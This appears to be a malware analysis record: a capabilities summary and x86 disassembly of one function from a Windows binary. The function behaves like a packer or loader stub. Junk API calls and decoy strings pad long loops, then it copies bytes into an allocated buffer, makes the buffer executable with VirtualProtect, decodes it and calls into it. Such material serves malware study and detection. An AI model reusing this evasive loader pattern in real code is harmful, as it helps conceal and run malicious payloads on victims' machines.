Function at 0x4010b0
Capabilities:
Create mailslot
Get common file path
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf68
push 0x4177a0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x627af
jne 0x401129
push 0
push 0
push 0
push str.Dikicisupizi_pikarebe_givinenasabu
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
push 0
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push str.Yiletozo_yihebezobuwuci_wudo_cadufero
push 0
call dword [sym.imp.USER32.dll_GetPropA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.ole32.dll_CoIsOle1Class]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.sdiofjbngaiuysdgfbiuqyvfuyagsdvfiygasdvfuyiavdg
lea ecx, [ebp - 0x6c]
call fcn.004018b4
lea ecx, [ebp - 0x6c]
call fcn.0040199a
and dword [ebp - 0x1c], 0
jmp 0x401136
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfdc3
jge 0x40116f
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x1c], 0x4ad
jle 0x40116d
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x2c], 0x45a5ba62
jne 0x40116b
cmp dword [ebp - 0x28], 1
je 0x40116d
jmp 0x40116f
jmp 0x40112f
push 4
pop eax
shl eax, 0
mov eax, dword [eax + 0x41640c]
mov dword [0x4300ec], eax
and dword [ebp - 0x14], 0
jmp 0x40118d
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xc3e
jge 0x4011b0
cmp dword [ebp - 0x14], 0x209
jne 0x4011ae
mov eax, dword [0x4300ec]
add eax, 0xf5a3
mov dword [0x4300ec], eax
jmp 0x401186
and dword [ebp - 0x10], 0
jmp 0x4011bd
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x590053
jge 0x401228
cmp dword [ebp - 0x10], 0x1e3
jge 0x4011f1
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
lea eax, [ebp - 0x768]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.Pufiteyi
call dword [sym.imp.GDI32.dll_AddFontResourceW]
cmp dword [ebp - 0x10], 0x3cbe21
jne 0x40120d
push dword [0x4300ec]
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x446b4c], eax
cmp dword [ebp - 0x10], 0x1f6
jge 0x401226
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
jmp 0x4011b6
and dword [ebp - 0x18], 0
jmp 0x401235
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x8d70ff
jge 0x4012aa
cmp dword [ebp - 0x18], 0x1a79
jge 0x401254
push str.Vayito
push 0
call dword [sym.imp.USER32.dll_RemovePropW]
cmp dword [ebp - 0x18], 0x7c16df
jne 0x40126e
push 4
pop eax
shl eax, 0
mov eax, dword [eax + 0x416400]
mov dword [0xb207cc], eax
cmp dword [ebp - 0x18], 0x865
jge 0x4012a8
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
push str.Mofipasica_jocowe_nodi
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
jmp 0x40122e
and dword [ebp - 4], 0
jmp 0x4012b7
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [0x4300ec]
jae 0x401334
cmp dword [ebp - 4], 0x18bd
jge 0x4012e0
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
lea eax, [ebp - 0x368]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [0x446b4c]
add eax, dword [ebp - 4]
mov ecx, dword [0xb207cc]
add ecx, dword [ebp - 4]
mov cl, byte [ecx + 0xf5a3]
mov byte [eax], cl
cmp dword [ebp - 4], 0x652
jge 0x40132f
push 0
push str.Piyiwa_yayehacube_negi_jugudanepiko_tigodimuwusocu
push str.Bokejuni_kudihubeko
push str.Ciyexawekoza_rixecufazukofa_tepaxudocagi_giyo_vekesodo
call dword [sym.imp.GDI32.dll_CreateICW]
push 0
call dword [sym.imp.GDI32.dll_PathToRegion]
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
jmp 0x4012b0
mov dword [ebp - 0x20], 0xbb
sub dword [ebp - 0x20], 0x7b
and dword [ebp - 8], 0
jmp 0x40134c
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x88d29b
jge 0x401379
cmp dword [ebp - 8], 0x500233
jne 0x401377
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x20]
push dword [0x4300ec]
push dword [0x446b4c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x401345
push section..data
mov edx, dword [0x4300ec]
mov ecx, dword [0x446b4c]
call fcn.004016cd
and dword [ebp - 0xc], 0
jmp 0x40139c
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x5a545b
jge 0x4013d4
cmp dword [ebp - 0xc], 0x3f03c2
jne 0x4013bf
nop
add dword [0x4300ec], 0x35c667fc
call dword [0x446b4c]
cmp dword [ebp - 0xc], 0x19bc
jge 0x4013d2
push 0
push 0
call dword [sym.imp.GDI32.dll_ResetDCW]
jmp 0x401395
push 0
lea eax, [ebp - 0xf68]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetDlgItemInt]
mov eax, dword [0xb20904]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov dword [eax + 4], 1
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10